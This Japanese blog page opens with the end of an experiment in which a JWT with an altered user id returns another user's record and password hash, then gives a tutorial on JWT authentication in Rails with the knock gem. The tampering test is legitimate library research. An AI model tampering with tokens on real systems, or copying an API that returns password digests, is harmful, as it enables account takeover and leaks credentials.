Content-Type: application/json; charset=utf-8
ETag: W/"f7e6dd29a636a3d858fab2dd8c67e57d"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: e4fdf9a4-49e7-4bff-be60-ae8351dc4483
X-Runtime: 0.004916
Transfer-Encoding: chunked

{"id":6,"password_digest":"$2a$10$2IL4VyZ2m2ojfjrWpMxiDOTL6Ctu43cm2o6423z7xCET71HtZVSRC","name":"User2","email":"user2@example.com","created_at":"2017-04-20T18:46:10.245Z","updated_at":"2017-04-20T18:46:10.245Z"}%

改ざんしたユーザidの情報を取得できていることが確認できる。

結論

knockの場合だと、変にknock自体のソースコードを変更しない限り、トークンの検証は必ず行われると考えられます。
今回は必然的に改ざんの検出が行われるとなりましたが、他のJWTライブラリではどうなのか。設定次第では検証を行わせないようなライブラリがあるのかなどを探していきます。

【knock】JSON Web Token(JWT)を使ってみる【実装編】

f:id:motikan2010:20170421183808p:plain

github.com

JSON Web Tokenの説明は下記の記事を参照。 qiita.com

事前準備

新規アプリを生成

$ rails new railsJWT --api

Gemfileに追記

必要なライブラリをGemfileに追記します。

$ vim Gemfile

# 下記を追記
gem "faker"
gem "bcrypt"
gem "jsonapi-resources"
gem "knock"

$ bundle install

GitHub - cerebris/jsonapi-resources: A resource-focused Rails library for developing JSON API compliant servers.

モデルの作成

Postモデル

「タイトル」「内容」「公開/非公開の指定」のカラムを保持したPostモデルを作成します。

$ rails g model Post title:string body:text type:string
$ touch app/models/private_post.rb
$ touch app/models/public_post.rb
$ vim app/models/private_post.rb

class PrivatePost < Post
end

$ vim app/models/public_post.rb

class PublicPost < Post
end
$ vim app/models/post.rb

class Post < ApplicationRecord
  validates :body, presence: true
  validates :title, presence: true
  validates :type, presence: true

  POST_TYPES = %w(PublicPost PrivatePost)
  validates :type, :inclusion => { :in => POST_TYPES }
end

Userモデル

次に「パスワード」「名前」「メールアドレス」のカラムを保持したUserモデルを作成します。

$ rails g model user password_digest:string name:string email:string
$ vim app/models/user.rb

class User < ActiveRecord::Base
  has_secure_password

  validates :name, presence: true
  validates :email, presence: true
end
$ rails db:migrate

テストデータの追加

$ vim db/seeds.rb

Post.destroy_all
User.destroy_all

# ユーザを作成
User.create!({
  name: 'User1',
  email: 'user1@example.com',
  password: 'passwd1',
  password_confirmation: 'passwd1'
})

User.create!({
  name: 'User2',
  email: 'user2@example.com',
  password: 'passwd2',
  password_confirmation: 'passwd2'
})

3.times do
  # 公開記事を作成
  PublicPost.create!(
    title: Faker::Lorem.sentence,
    body: Faker::Lorem.paragraphs.join(' ')
  )

  # 非公開記事を作成
  PrivatePost.create!(
    title: Faker::Lorem.sentence,
    body: Faker::Lorem.paragraphs.join(' ')
  )
end
$ rails db:seed

コントローラの作成

PublicPostsコントローラ

$ vim app/controllers/application_controller.rb

class ApplicationController < ActionController::API
  include Knock::Authenticable # 追記
end
$ rails g controller PublicPosts
$ vim vim app/controllers/public_posts_controller.rb

class PublicPostsController < ApplicationController
  include JSONAPI::ActsAsResourceController # 追記
end
$ rails generate jsonapi:resource public_posts
$ vim app/resources/public_post_resource.rb

class PublicPostResource < JSONAPI::Resource
  immutable
  attributes :title, :body
end

ルーティング設定

$ vim config/routes.rb

jsonapi_resources :public_posts # 追記

PrivatePostsコントローラ

$ rails generate knock:install
$ rails generate knock:token_controller user

before_action :authenticate_user」を追記することによって、認証が必要なコントローラにすることができます。

$ rails g controller PrivatePosts
$ vim app/controllers/private_posts_controller.rb

class PrivatePostsController < ApplicationController
  include JSONAPI::ActsAsResourceController # 追記
  before_action :authenticate_user # 追記
end
$ rails generate jsonapi:resource private_posts
$ vim app/resources/private_post_resource.rb

class PrivatePostResource < JSONAPI::Resource
  immutable
  attributes :title, :body
end

ルーティング設定

$ vim config/routes.rb

jsonapi_resources :private_posts

動作確認

リクエスト

“/public-posts"にアクセス

認証を行わずにアクセスすることが可能です。

$ curl -X "GET" "http://example.jp:3000/public-posts"

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: application/vnd.api+json
ETag: W/"ae93de1833f5e081219472e78b408c0a"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: a0b4df38-9374-4801-97c3-714599305b00
X-Runtime: 0.010128
Transfer-Encoding: chunked

{"data":[{"id":"1","type":"public-posts","links":{"self":"http://example.jp:3000/public-posts/1"},"attributes":{"title":"Necessitatibus et sit alias.","body":"Numquam...(中略)..."}}]}%

“/private-posts"にアクセス

レスポンスで「HTTP/1.1 401 Unauthorized」と返ってきており、認証が必要ということが分かります。

$ curl -X "GET" "http://example.jp:3000/private-posts"

HTTP/1.1 401 Unauthorized
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html
Cache-Control: no-cache
X-Request-Id: 7cde37bd-abdd-421f-a6dc-5667e8cce0d0
X-Runtime: 0.002747
Transfer-Encoding: chunked

認証を行う

“/private-posts"に対してアクセスを行うためには、認証後に発行されるトークンをリクエストに含める必要があります。

トークンを取得する認証リクエスト

$ curl -X "POST" "http://nuconuco.com:3000/user_token" \
> -H "Content-Type: application/json" \
> -d '{"auth": {"email": "user1@example.com", "password": "passwd1"}}'

{"jwt":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0OTI4MTY4MzYsInN1YiI6NX0.EzBo2BZatWc-80HAfioQYbL1gPH90tf9YV00yAnHBr8"}%

JSON形式で返ってきている「eyJ0eXAiOiJKV1QiL・・・」が認証トークンです。

トークンを使用してアクセス

Authorizationヘッダの値に取得したトークンを指定します。

$ curl -X "GET" "http://example.jp:3000/private-posts" \
> -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0OTI4MTY4MzYsInN1YiI6NX0.EzBo2BZatWc-80HAfioQYbL1gPH90tf9YV00yAnHBr8" \
> -H "Content-Type: application/json"

GET /private-posts HTTP/1.1
Host: example.jp:3000
User-Agent: curl/7.43.0
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0OTI4MTY4MzYsInN1YiI6NX0.EzBo2BZatWc-80HAfioQYbL1gPH90tf9YV00yAnHBr8
Content-Type: application/json

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: application/vnd.api+json
ETag: W/"df8eaf13cb9cd4dd8f47df9f4ec65bb3"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 5050c781-bbfb-43a6-a7f7-2b887682d3a0
X-Runtime: 0.022478
Transfer-Encoding: chunked

{"data":[{"id":"2","type":"private-posts","links":{"self":"http://example.jp:3000/private-posts/2"},"attributes":{"title":"Qui voluptas nemo tenetur.","body":"Nemo...(中略)..."}}]}%

正常に"/private-posts"にアクセスすることができています。

これでJSON Web Tokenの実装が完了となります。